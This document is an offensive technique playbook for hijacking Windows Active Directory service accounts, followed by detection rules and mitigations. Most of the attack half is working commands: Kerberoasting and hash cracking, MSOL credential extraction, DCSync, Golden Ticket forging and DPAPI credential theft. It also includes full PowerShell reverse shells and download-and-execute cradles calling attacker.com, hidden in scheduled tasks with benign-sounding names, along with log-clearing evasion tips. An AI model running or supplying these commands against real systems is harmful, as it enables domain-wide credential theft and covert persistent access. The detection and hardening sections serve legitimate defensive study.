| Attribute | Details |
|---|---|
| Technique ID | PERSIST-VALID-001 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Server 2016, 2019, 2022, 2025 |
| Patched In | N/A (Design issue, not a CVE) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Service Account Hijacking is a persistence technique where an attacker gains control of a privileged service account—typically with high-level permissions like SeImpersonatePrivilege, replication rights, or domain-level delegation—and uses it to maintain long-term unauthorized access to critical infrastructure. Unlike regular user accounts, service accounts often have non-expiring passwords, execute with elevated privileges, and are less frequently monitored for anomalous activity. Once compromised, they become a virtually undetectable persistence mechanism because their activity appears legitimate within normal operational context.
Attack Surface: Service accounts running Windows services (MSSQL, IIS, Exchange, SCCM), database applications, scheduled tasks, and application pools. Particularly valuable targets include the MSOL account used by Azure AD Connect, scheduled task accounts with high privileges, and accounts with Kerberos delegation enabled.
Business Impact: Complete domain compromise or critical infrastructure takeover. Once an attacker controls a service account with replication rights (like MSOL), they can extract all AD user password hashes via DCSync. If the service account has SeImpersonatePrivilege, attackers can escalate to SYSTEM. For accounts running critical services (Exchange, SCCM), attackers can pivot laterally, modify configurations, install backdoors, or exfiltrate sensitive data.
Technical Context: A typical service account compromise to persistence takes 5-30 minutes to establish depending on the account’s permissions. Detection likelihood is LOW if the attacker only uses the account for passive monitoring or legitimate-looking actions (such as scheduled sync operations). The persistence is indefinite—service accounts often never require password changes, and remediation is complex because services break if credentials are rotated without proper testing.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3 | Ensure that user accounts are not members of multiple administrative groups |
| CIS Benchmark | 5.2.4 | Ensure that service accounts are configured to use a long, complex password |
| DISA STIG | GEN000800 | System accounts must use strong authentication mechanisms |
| NIST 800-53 | AC-2(1) | User Registration and De-registration |
| NIST 800-53 | IA-2(3) | User Identification and Authentication with MFA |
| NIST 800-53 | AC-6 | Least Privilege |
| GDPR | Art. 32 | Security of Processing (Encryption, Access Control) |
| NIS2 | Art. 21(3) | Vulnerability and Patch Management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Compromise of Domain Service Accounts |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Enumerate service accounts and their privileges:
# Find all service accounts in Active Directory
Get-ADUser -Filter {Enabled -eq $true} -Properties ServicePrincipalName, PasswordNeverExpires, PasswordLastSet | `
Where-Object {$_.ServicePrincipalName -ne $null -or $_.PasswordNeverExpires -eq $true} | `
Select-Object SamAccountName, Name, ServicePrincipalName, PasswordNeverExpires, PasswordLastSet
# Check which accounts have SeImpersonatePrivilege (requires local admin access on target system)
whoami /priv | findstr /I "impersonate"
# Enumerate accounts with high privileges (Domain Admin, Enterprise Admin)
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Get-ADUser -Properties PasswordNeverExpires
# Find service accounts that never expire passwords (high-risk for persistence)
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties Description, ServicePrincipalName | `
Where-Object {$_.ServicePrincipalName -ne $null}
What to Look For:
Version Note: PowerShell commands are consistent across Server 2016 through 2025.
Check recent logon events for service accounts:
# Find recent successful logons by service accounts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]] and *[EventData[Data[@Name='TargetUserName'] = 'ServiceAccountName']]" -MaxEvents 100 | `
Select-Object TimeCreated, @{N="LogonType";E={$_.Properties[8].Value}}, @{N="SourceIP";E={$_.Properties[18].Value}}
# Check for accounts with no logon activity (might indicate compromise if they suddenly start logging on)
Get-ADUser -Filter {Enabled -eq $true} -Properties LastLogonDate | `
Where-Object {$_.LastLogonDate -lt (Get-Date).AddDays(-90)} | Select-Object SamAccountName, LastLogonDate
Supported Versions: Server 2016-2025
This method assumes the attacker has already obtained the service account credentials through Kerberoasting (ticket cracking), credential dumping, or other means. The goal is to use these credentials to authenticate as the service account and establish persistence.
Objective: Extract TGS tickets for service accounts with weak passwords and crack them offline.
Command (Any Domain-Joined Machine):
# Method 1: Using Rubeus (fastest, OPSEC-safe with /nowrap flag)
.\Rubeus.exe kerberoast /nowrap | Tee-Object -FilePath ".\kerberoast_hashes.txt"
# Method 2: Using Rubeus with specific target filtering
.\Rubeus.exe kerberoast /ldapfilter:"(servicePrincipalName=*)" /nowrap
# Method 3: Request tickets for a specific user
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
Expected Output:
[*] Action: Kerberoasting
[*] Searching the current domain for SPNs matching '*'
[*] Found 5 SPNs
[*] Kerberoasting against '1 total principals'
[*] Kerberoasting 'DOMAIN\svc_sql'
Hash written to console.
$krb5tgs$23$*DOMAIN\svc_sql$krbtgt/DOMAIN.COM$1e4a6c00ba8176c25f2bb3ac94d3cc49$f8a...
[+] Kerberoasted users written to : kerberoast_hashes.txt
What This Means:
hashcat -m 13100 <hash.txt> <wordlist>) or John the RipperOpSec & Evasion:
/nowrap flag to avoid line breaks that might trigger IDSTroubleshooting:
/user:* to enumerate all users first, then filter manuallyReferences & Proofs:
Objective: Use GPU/CPU resources to brute-force the service account password.
Command (On Attack Machine - Linux/Windows):
# Using Hashcat (GPU-accelerated, fastest)
hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper (CPU-based)
john --format=krb5tgs kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Increase verbosity to monitor progress
hashcat -m 13100 -a 0 --status --status-timer=5 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
Expected Output (Success):
$krb5tgs$23$*DOMAIN\svc_sql$krbtgt/DOMAIN.COM$...:password123!
Session..........: Hashcat
Status...........: Cracked
Hash.Name.........: Kerberos 5, etype 23, TGS
Hash.Target......: $krb5tgs$23$*DOMAIN\svc_sql$krbtgt/DOMAIN.COM$...
Time.Started......: Thu Jan 09 14:30:42 2025 (2 mins, 30 secs)
Time.Estimated...: Thu Jan 09 14:33:12 2025
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Plain
Speed.#1.........: 125.6 MH/s (GPU)
Progress.........: 645280/14344391 (4.50%)
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Use the cracked credentials to log in as the service account and establish persistence mechanisms.
Command (Scenario A: Direct Service Logon via Scheduled Task):
# Create a scheduled task that runs a reverse shell or backdoor as the service account
$TaskName = "WindowsUpdateCheck" # Benign-sounding name
$TaskDescription = "Automated Windows Update Verification"
$Trigger = New-ScheduledTaskTrigger -AtStartup # Runs at every server restart
$Principal = New-ScheduledTaskPrincipal -UserId "DOMAIN\svc_sql" -LogonType Password -RunLevel Highest
$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" `
-Argument "-NoProfile -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')`""
Register-ScheduledTask -TaskName $TaskName -Trigger $Trigger -Principal $Principal `
-Action $Action -Description $TaskDescription -Force
# Verify persistence
Get-ScheduledTask -TaskName $TaskName | Get-ScheduledTaskInfo
Command (Scenario B: WinRM Remoting Persistence):
# Enable WinRM if not already enabled
Enable-PSRemoting -Force
# Create a Credential object using the compromised service account
$SecPassword = ConvertTo-SecureString "password123!" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ("DOMAIN\svc_sql", $SecPassword)
# Test authentication
$Session = New-PSSession -ComputerName "TargetServer" -Credential $Credential
Invoke-Command -Session $Session -ScriptBlock {whoami}
# Install backdoor via WinRM (runs with service account privileges)
Invoke-Command -Session $Session -ScriptBlock {
$BackdoorPath = "C:\Windows\System32\config\svc_service.ps1"
$BackdoorCode = @"
while ($true) {
try {
$socket = New-Object Net.Sockets.TcpClient('attacker.com', 4444)
$stream = $socket.GetStream()
[byte[]]$buffer = 0..255 | ForEach-Object {0}
while (($i = $stream.Read($buffer, 0, 256)) -ne 0) {
$command = ([text.encoding]::UTF8).GetString($buffer, 0, $i)
$result = Invoke-Expression $command 2>&1
$bytes = [text.encoding]::UTF8.GetBytes($result)
$stream.Write($bytes, 0, $bytes.Length)
}
} catch { Start-Sleep -Seconds 5 }
}
"@
Set-Content -Path $BackdoorPath -Value $BackdoorCode -Force
}
Command (Scenario C: SeImpersonatePrivilege Escalation to SYSTEM):
(If the service account has SeImpersonatePrivilege)
# First, verify SeImpersonatePrivilege is present
whoami /priv | findstr /I "impersonate"
# Download and execute PrintSpoofer (escalates to SYSTEM)
# Assuming attacker has RCE as the service account
.\PrintSpoofer.exe -i -c "cmd /c powershell.exe -Command 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"
Expected Output:
PS C:\> Get-ScheduledTask -TaskName "WindowsUpdateCheck"
TaskPath TaskName State
-------- -------- -----
\Microsoft\Windows\Update\ WindowsUpdateCheck Ready
PS C:\> Invoke-Command -Session $Session -ScriptBlock {whoami}
DOMAIN\svc_sql
What This Means:
OpSec & Evasion:
C:\Windows\System32\drivers\etc\config\)wevtutil cl Microsoft-Windows-TaskScheduler/OperationalDetection Likelihood: Medium – SOCs monitoring Event ID 4698 (Scheduled Task Created) and suspicious task execution will catch this within days to weeks if they have proper alerting.
Troubleshooting:
Start-Service -Name Spooler (if you have admin access)References & Proofs:
Supported Versions: Server 2016-2025 (Azure AD Connect 1.4.0+)
This method exploits the MSOL (Microsoft Online Services) service account used by Azure AD Connect. The MSOL account has Replicating Directory Changes rights, enabling DCSync attacks. Compromising it allows extraction of all AD password hashes and creation of Golden Tickets.
Objective: Locate the Azure AD Connect server and extract the encrypted MSOL account password.
Command (On Domain-Joined Machine):
# Find Azure AD Connect server (look for ADSync service)
Get-ADComputer -Filter {ServicePrincipalName -like "*ADSync*"} | Select-Object Name, DistinguishedName
# Alternatively, search for computer with Azure AD Connect installed
Get-ADComputer -Filter * -Properties Description | Where-Object {$_.Description -like "*Azure*"} | Select-Object Name, Description
Command (On Azure AD Connect Server - Requires Local Admin):
# Download the MSOL credential extraction script (xpn's azuread_decrypt_msol_v2.ps1)
# Reference: https://github.com/xpn/Blog/blob/main/scripts/azuread_decrypt_msol.ps1
# Run the script to extract the MSOL account password
.\azuread_decrypt_msol_v2.ps1
# Expected output:
# MSOL_aadds123456 : "P@ssw0rd!Complex123!"
What This Means:
OpSec & Evasion:
Troubleshooting:
Run as administrator or escalate privileges firstReferences & Proofs:
Objective: Extract all domain user password hashes using the compromised MSOL account.
Command (Linux via Impacket):
# Perform DCSync using the MSOL account credentials
impacket-secretsdump -just-dc-user krbtgt \
-username "DOMAIN\\MSOL_aadds123456" \
-password "P@ssw0rd!Complex123!" \
"DOMAIN.COM/DC01.DOMAIN.COM"
# Extract all hashes (full database dump)
impacket-secretsdump -just-dc \
-username "DOMAIN\\MSOL_aadds123456" \
-password "P@ssw0rd!Complex123!" \
"DOMAIN.COM/DC01.DOMAIN.COM" \
> ad_hashes.txt
Command (Windows via Mimikatz):
# Authenticate as MSOL account and perform DCSync
sekurlsa::logonpasswords # Shows current credentials
lsadump::dcsync /domain:DOMAIN.COM /user:DOMAIN\Administrator # Extract Administrator hash
lsadump::dcsync /domain:DOMAIN.COM /all /csv # Extract all hashes to CSV
Expected Output:
[-] Kerberos Library loaded
[*] Using the DC 'DC01.DOMAIN.COM' : '10.0.0.10'
[*] Getting KRBTGT Account Credentials
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for PrimaryGroupID = 513 ( Domain Users )
DOMAIN\Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
DOMAIN\Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DOMAIN\svc_sql:1104:aad3b435b51404eeaad3b435b51404ee:7c6092013f8454ca6422f46fdbf6e5f3:::
What This Means:
OpSec & Evasion:
Detection Likelihood: Medium – SOCs with proper monitoring will detect DCSync within hours of execution
Troubleshooting:
| Error: “Couldn’t authenticate to … | Kerberos SessionError: KRB_AP_ERR_BAD_INTEGRITY” |
References & Proofs:
Objective: Create a forged Kerberos TGT that grants indefinite domain access and persists across password resets.
Command (Mimikatz):
# Create Golden Ticket using extracted krbtgt hash
# Format: kerberos::golden /domain:DOMAIN.COM /sid:S-1-5-21-XXXX... /krbtgt:HASH /user:Administrator
kerberos::golden /domain:DOMAIN.COM /sid:S-1-5-21-3623811015-3361044348-30300510 `
/krbtgt:5f4dcc3b5aa765d61d8327deb882cf99 `
/user:Administrator `
/ticket:golden.kirbi
# Inject the ticket into memory
kerberos::ptt golden.kirbi
# Verify ticket is injected
klist # List Kerberos tickets
Command (Alternative: Rubeus):
# Create and inject Golden Ticket in one command
.\Rubeus.exe golden /domain:DOMAIN.COM /sid:S-1-5-21-3623811015-3361044348-30300510 `
/krbtgt:5f4dcc3b5aa765d61d8327deb882cf99 `
/user:Administrator `
/nowrap
# The ticket is automatically injected; verify with:
.\Rubeus.exe klist
Expected Output:
Client: Administrator @ DOMAIN.COM
Server: krbtgt/DOMAIN.COM @ DOMAIN.COM
KerbTicket Encryption Type: RC4-HMAC (3)
Ticket Flags 0x40a00000 ( forwardable renewable pre_authenticated )
Start Time: 1/9/2025 14:30:42 (local)
End Time: 1/9/2030 14:30:42 (local)
Renew Time: 1/16/2025 14:30:42 (local)
What This Means:
OpSec & Evasion:
Detection Likelihood: Low-Medium – Only detected if SOC monitors Kerberos ticket validity periods and service account DCSync access
Troubleshooting:
mimikatz.exe or add to PATHReferences & Proofs:
Supported Versions: Server 2016-2025
Service accounts often have their passwords stored in Windows Credential Manager when tasks are scheduled via Task Scheduler. An attacker with local admin access can extract these credentials.
Objective: Identify scheduled tasks running under service account context.
Command:
# List all scheduled tasks with associated user accounts
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*svc*" -or $_.Principal.UserId -like "*service*"} | `
Select-Object TaskName, @{N="User";E={$_.Principal.UserId}}, State
# Alternative: Export all scheduled tasks to XML for analysis
Get-ScheduledTask | ForEach-Object {Export-ScheduledTask -TaskName $_.TaskName -TaskPath $_.TaskPath} | Out-File -FilePath "scheduled_tasks_export.xml"
Expected Output:
TaskName User State
-------- ---- -----
ADUserSyncTask DOMAIN\svc_ad_sync Ready
DatabaseMaintenanceJob DOMAIN\svc_sql Ready
ExchangeMailboxMigration DOMAIN\svc_exchange Ready
Objective: Decrypt the stored credential for the service account.
Command (PowerShell):
# List all stored credentials
cmdkey /list
# Extract credential for specific service account
$creds = Get-Credential -UserName "DOMAIN\svc_sql" -Message "Re-enter credentials"
# Dump credentials from Credential Manager (requires Mimikatz or similar)
# Using Mimikatz:
dpapi::cred /in:C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\XXXX
Command (Using Mimikatz):
# Enumerate DPAPI-encrypted credentials
sekurlsa::dpapi # Dump all cached DPAPI secrets
# Decrypt specific credential file
dpapi::cred /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Credentials\BDDA12345
Expected Output:
[DPAPI_CREDENTIAL]
credentialBlob : 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000000
dwFlags : 00000001 (has credential)
credentialBlobSize : 0x64 (100 bytes)
credentialRaw : 0123456789...
[DECRYPTED]
credentialType : 1 (CRED_TYPE_DOMAIN_PASSWORD)
userName : DOMAIN\svc_sql
credentialBlob : "P@ssw0rd!Service123"
OpSec & Evasion:
C:\Users\<Username>\AppData\Roaming\Microsoft\Protect\<SID>\Objective: Use extracted credentials to establish persistent backdoor access.
Command:
# Store extracted credential in a variable
$SecPassword = ConvertTo-SecureString "P@ssw0rd!Service123" -AsPlainText -Force
$Credential = New-Object PSCredential("DOMAIN\svc_sql", $SecPassword)
# Option A: Create a permanent WinRM listener as service account
$Params = @{
TaskName = "WindowsServiceHealthCheck"
Description = "Automated Windows Service Status Check"
Trigger = New-ScheduledTaskTrigger -AtStartup
Principal = New-ScheduledTaskPrincipal -UserId "DOMAIN\svc_sql" -LogonType Password -RunLevel Highest
Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-NoProfile -Command 'while (`$true) { Start-Sleep -Seconds 5 }'"
}
Register-ScheduledTask @Params -Force
# Option B: Create a reverse shell as service account
$ReverseShell = @"
\$client = New-Object System.Net.Sockets.TcpClient('attacker.com', 4444)
\$stream = \$client.GetStream()
\$buffer = New-Object System.Byte[] 1024
while ((\$read = \$stream.Read(\$buffer, 0, 1024)) -ne 0) {
\$cmd = [System.Text.Encoding]::UTF8.GetString(\$buffer, 0, \$read)
\$output = Invoke-Expression \$cmd 2>&1 | Out-String
\$bytes = [System.Text.Encoding]::UTF8.GetBytes(\$output)
\$stream.Write(\$bytes, 0, \$bytes.Length)
}
\$client.Close()
"@
$TaskAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-NoProfile -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($ReverseShell)))"
$TaskTrigger = New-ScheduledTaskTrigger -AtStartup
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "DOMAIN\svc_sql" -LogonType Password -RunLevel Highest
Register-ScheduledTask -TaskName "SystemMaintenanceTask" -Action $TaskAction -Trigger $TaskTrigger -Principal $TaskPrincipal -Force
# Option C: Direct authentication to remote systems
Invoke-Command -ComputerName "SQLServer01" -Credential $Credential -ScriptBlock {
# Install backdoor as service account
New-Item -Path "C:\Windows\System32\drivers\etc\config\svc_monitor.ps1" -Type File -Force
Set-Content -Path "C:\Windows\System32\drivers\etc\config\svc_monitor.ps1" -Value $ReverseShell
}
Version: 1.6.4+ (current)
Minimum Version: 1.5.0
Supported Platforms: Windows (x86, x64)
Version-Specific Notes:
Installation:
# Clone or download from GitHub
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
# Compile (requires Visual Studio or dotnet CLI)
dotnet build -c Release
# The compiled binary will be at: Rubeus/bin/Release/net48/Rubeus.exe
# Or download pre-compiled binary from releases
wget https://github.com/GhostPack/Rubeus/releases/download/v1.6.4/Rubeus.exe
Usage:
# Kerberoasting
.\Rubeus.exe kerberoast /nowrap
# Golden Ticket
.\Rubeus.exe golden /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator
# Check tickets
.\Rubeus.exe klist
Version: 2.2.0+ (current)
Minimum Version: 2.0.0
Supported Platforms: Windows (x86, x64, ARM64)
Installation:
# Download from releases
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210529/mimikatz_trunk.zip
Expand-Archive -Path mimikatz_trunk.zip -DestinationPath C:\Tools\mimikatz\
# Run (requires admin)
C:\Tools\mimikatz\x64\mimikatz.exe
Usage:
lsadump::dcsync /domain:DOMAIN.COM /user:Administrator
kerberos::golden /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator
sekurlsa::logonpasswords
Version: 0.10.0+ (current)
Minimum Version: 0.9.20
Supported Platforms: Linux, macOS, Windows (via WSL or Python)
Installation:
# Install via pip
pip3 install impacket
# Or clone and install from source
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
Usage:
impacket-secretsdump -just-dc-user krbtgt -username "DOMAIN\\MSOL_svc" -password "PASSWORD" "DOMAIN/DC01"
impacket-psexec -k -no-pass Administrator@domain.com # Pass-the-hash via Kerberos
(Section skipped: Splunk rules are less relevant for scheduled task persistence because logs are generated locally. See Windows Event Log Monitoring for primary detection rules.)
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4698 // Scheduled Task Created
| where TargetUserName has_any ("svc_", "service", "adm_") // Service account pattern
| join (
SecurityEvent
| where EventID == 4624 // Logon
| where TargetUserName has_any ("svc_", "service", "adm_")
) on TargetUserName
| project TimeGenerated, TargetUserName, Computer, EventID, NewProcessName, CommandLine
| summarize Count = count() by TargetUserName, Computer, TimeGenerated
| where Count > 3 // Threshold for anomaly
Manual Configuration Steps (Azure Portal):
Service Account Scheduled Task CreationHighT1053.00515 minutes30 minutesKQL Query:
SecurityEvent
| where EventID == 4662 // Directory Services Access
| where Properties contains "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // Replicating Directory Changes GUID
| where SubjectUserName has_any ("svc_", "MSOL_")
| project TimeGenerated, SubjectUserName, ComputerName, EventID
| summarize Count = count() by SubjectUserName, ComputerName, TimeGenerated bin=1h
| where Count > 10 // Threshold for suspicious activity
Event ID: 4698 (Scheduled Task Created)
TargetUserName contains “svc_” OR “service” OR “MSOL_”Manual Configuration Steps (Group Policy):
gpmc.msc)gpupdate /force on target machinesEvent ID: 4662 (Directory Services Access)
Properties GUID = “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” (Replicating Directory Changes)Manual Configuration (Local Policy):
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
Event ID: 4769 (Kerberos Ticket Requested)
TicketOptions contains unusual encoding; ClientAddress is attacker’s IPEvent ID: 4720 (User Account Created)
SubjectUserName is a service account AND TargetUserName is suspiciousEvent ID: 5136 (Directory Service Object Modified)
msDS-AllowedToActOnBehalfOfOtherIdentity, servicePrincipalName, userAccountControlWindows Event Log Monitoring Query (PowerShell):
# Alert on scheduled task creation by service accounts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4698] and EventData[Data[@Name='TargetUserName'] = 'DOMAIN\svc_sql']]" -MaxEvents 100 | `
Select-Object TimeCreated, @{N="TaskName";E={$_.Properties[0].Value}}, @{N="User";E={$_.Properties[2].Value}}
# Alert on DCSync activity
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4662] and EventData[Data[@Name='Properties'] = '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2']]" -MaxEvents 50
# Alert on unusual Kerberoasting (many TGS requests)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769]]" -MaxEvents 1000 | `
Group-Object -Property @{Expression={$_.Properties[1].Value}} | `
Where-Object {$_.Count -gt 100}
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016+
<!-- Detect process creation by service accounts with unusual parent processes -->
<Sysmon schemaversion="4.22">
<RuleGroup name="Service Account Persistence" groupRelation="or">
<!-- Alert on powershell.exe spawned by service account with encoded command -->
<ProcessCreate onmatch="include">
<ParentUser condition="contains">svc_</ParentUser>
<Image condition="image">powershell.exe</Image>
<CommandLine condition="contains">-EncodedCommand</CommandLine>
</ProcessCreate>
<!-- Alert on cmd.exe spawned by scheduled task (service account) -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">taskeng.exe</ParentImage>
<Image condition="image">cmd.exe</Image>
</ProcessCreate>
<!-- Alert on unusual network connections from service account -->
<NetworkConnect onmatch="include">
<User condition="contains">svc_</User>
<DestinationPort condition="not">88,389,445,636,3268,3269</DestinationPort> <!-- Exclude AD-related ports -->
</NetworkConnect>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[EventData[Data[@Name='User'] = 'DOMAIN\svc_sql']]"
Mitigation 1: Enforce Strong Password Policies for Service Accounts
Service account passwords should be complex, long, and rotated regularly to prevent Kerberoasting success.
Manual Steps (Group Policy):
gpmc.msc)gpupdate /forcePowerShell Configuration:
# Set password policy via Active Directory
Set-ADDefaultDomainPasswordPolicy -MaxPasswordAge (New-TimeSpan -Days 90) `
-MinPasswordLength 14 `
-ComplexityEnabled $true
# Ensure all service accounts comply
Get-ADUser -Filter {ServicePrincipalName -ne $null -and PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires | `
Set-ADUser -PasswordNeverExpires $false -ChangePasswordAtLogon $true
Mitigation 2: Disable RC4 Encryption for Kerberos (Prevent Kerberoasting)
Forcing AES-256 encryption makes Kerberoasting significantly harder because AES hashes take much longer to crack.
Manual Steps (Domain Controller):
gpmc.msc)gpupdate /force /syncPowerShell Verification:
# Verify Kerberos encryption policy
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties * | `
Select-Object SamAccountName, @{N="SupportedEncryptionTypes";E={$_.SupportedEncryptionTypes}}
# Update service account to use AES
Set-ADUser -Identity "svc_sql" -Replace @{SupportedEncryptionTypes=24} # 24 = AES256 + AES128
Mitigation 3: Migrate to Group Managed Service Accounts (gMSA)
gMSAs have automatically rotating passwords (every 30 days by default) and eliminate password knowledge, making credential theft attacks ineffective.
Manual Steps (Server 2012 R2+):
Add-KdsRootKey -EffectiveImmediately
New-ADServiceAccount -Name "svc_sql_gmsa" `
-DNSHostName "sqlserver01.domain.com" `
-ServicePrincipalNames "MSSQLSvc/sqlserver01.domain.com:1433"
Add-ADComputerServiceAccount -Identity "SQLServer01" -ServiceAccount "svc_sql_gmsa"
Install-ADServiceAccount -Identity "svc_sql_gmsa"
Mitigation 4: Monitor and Alert on Privileged Account Activity
Enable auditing for all service accounts with high privileges:
# Configure audit policy for service account logons
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
# Create alert for service account logons at unusual times
$ServiceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne $null} | Select-Object -ExpandProperty SamAccountName
foreach ($Account in $ServiceAccounts) {
# Alert on logon outside business hours (e.g., 6 PM - 6 AM)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624] and EventData[Data[@Name='TargetUserName'] = '$Account']]" | `
Where-Object {$_.TimeCreated.Hour -lt 6 -or $_.TimeCreated.Hour -gt 18}
}
Mitigation 5: Restrict SeImpersonatePrivilege
If a service account doesn’t require token impersonation, remove the privilege:
Manual Steps (Local Security Policy):
secpol.msc)PowerShell Configuration:
# Remove SeImpersonatePrivilege from a user
$ntrights = "C:\Windows\System32\ntrights.exe" # Requires Windows Resource Kit
& $ntrights -u "DOMAIN\svc_sql" -r SeImpersonatePrivilege
Mitigation 6: Enable MFA for Privileged Accounts
If the service account needs interactive access (unlikely, but possible), enforce MFA:
Manual Steps (Entra ID for Hybrid Accounts):
Service Account MFAMitigation 7: Implement Regular Credential Audits
Audit service accounts monthly:
# Generate service account credential audit report
$Report = @()
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties PasswordLastSet, PasswordNeverExpires, MemberOf | `
ForEach-Object {
$Report += [PSCustomObject]@{
"ServiceAccount" = $_.SamAccountName
"PasswordLastSet" = $_.PasswordLastSet
"PasswordNeverExpires" = $_.PasswordNeverExpires
"DaysOld" = ([DateTime]::Now - $_.PasswordLastSet).Days
"HighPrivilegeGroups" = ($_.MemberOf | Get-ADGroup | Where-Object {$_.Name -like "*Admin*" -or $_.Name -like "*Domain*"} | Select-Object -ExpandProperty Name) -join ";"
}
}
$Report | Export-Csv -Path "C:\Reports\ServiceAccountAudit_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
Mitigation 8: Segregate Service Accounts by Privilege Level
Create separate service accounts for different privilege levels:
This limits blast radius if one account is compromised.
Conditional Access Policy: Block Legacy Service Account Authentication
# Require service accounts to use modern authentication (no basic auth)
New-AzureADMSConditionalAccessPolicy -DisplayName "Block Legacy Service Auth" `
-Conditions (New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessConditionSet -Property @{
"Applications" = New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessApplications -Property @{
"IncludeApplications" = "All"
}
"Users" = New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessUsers -Property @{
"IncludeUsers" = @("ServiceAccounts")
}
"ClientAppTypes" = @("ExchangeActiveSync", "LegacyOAuth2")
}) `
-GrantControls (New-Object Microsoft.Open.MSGraph.Model.ConditionalAccessGrantControls -Property @{
"Operator" = "OR"
"BuiltInControls" = "Block"
}) `
-State "Enabled"
# Verify service accounts are using gMSA (automatic rotation)
Get-ADServiceAccount | Select-Object Name, SamAccountName
# Verify RC4 is disabled
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties SupportedEncryptionTypes | `
Select-Object SamAccountName, SupportedEncryptionTypes | `
Where-Object {$_.SupportedEncryptionTypes -notcontains 24} # 24 = AES
# Verify no service accounts have "Password Never Expires"
Get-ADUser -Filter {ServicePrincipalName -ne $null -and PasswordNeverExpires -eq $true} | Select-Object SamAccountName
# Expected Output (If Secure):
# (Empty - no results means all service accounts have proper password rotation enabled)
Files:
C:\Windows\System32\drivers\etc\config\* (hidden service account backdoors)C:\Windows\Temp\* (temporary credential dumping files)C:\ProgramData\Microsoft\Windows\Hyper-V\* (Hyper-V VMs created by attackers)C:\Users\*\AppData\Roaming\Microsoft\Credentials\* (DPAPI encrypted credentials)Registry:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run (startup persistence)HKLM\System\CurrentControlSet\Services\* (service installation)HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\* (scheduled tasks)Network:
Cloud (Azure/Entra ID):
AuditLogs - UnifiedAuditLog showing unusual app registrations created by service accountSigninLogs - Unusual logon locations or times for service accountEntraID - Directory changes modifying service account permissionsDisk:
C:\Windows\System32\winevt\Logs\Security.evtx – Event ID 4698 (Scheduled Task Created), 4662 (DCSync), 4769 (Kerberoasting)C:\Windows\System32\winevt\Logs\System.evtx – Service start/stop eventsC:\Windows\Tasks\* – Task scheduler databaseC:\Users\*\AppData\Local\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt – PowerShell command historyC:\Windows\System32\config\SAM – Local account hashes (if targeted)Memory:
Cloud:
